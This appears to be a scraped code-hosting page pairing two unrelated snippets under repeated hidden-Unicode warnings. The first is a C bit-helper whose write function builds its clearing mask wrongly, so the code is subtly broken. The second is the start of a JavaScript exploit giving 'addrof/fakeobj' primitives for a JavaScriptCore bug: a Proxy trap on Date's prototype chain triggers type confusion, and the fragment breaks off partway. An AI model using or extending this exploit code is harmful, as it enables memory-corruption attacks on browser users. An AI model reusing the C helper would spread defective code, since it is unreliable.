This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdint.h> | |
// treated as "independent", not as part of a larger integer | |
// i.e., for the "2nd" ("index 1") bit from the left will be output as `1`, not `2` | |
static uint32_t _read_bits(uint32_t u32, uint8_t where, uint8_t len) { | |
return ((u32 & (((1 << len) - 1) << where)) >> where); | |
} | |
static void _write_bits(uint32_t *var, uint8_t where, uint32_t bits, uint8_t len) { | |
*var = ((*var & ~(len << where)) | bits << where); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// addrof/fakeobj primitives for qwertyoruiop's jsc bug | |
var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date(); | |
wtf_date[1] = 1; | |
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, { | |
has: function () { | |
if (wtf_hack) { | |
wtf_confuse[0] = wtf_obj; | |
} | |
} | |
}); |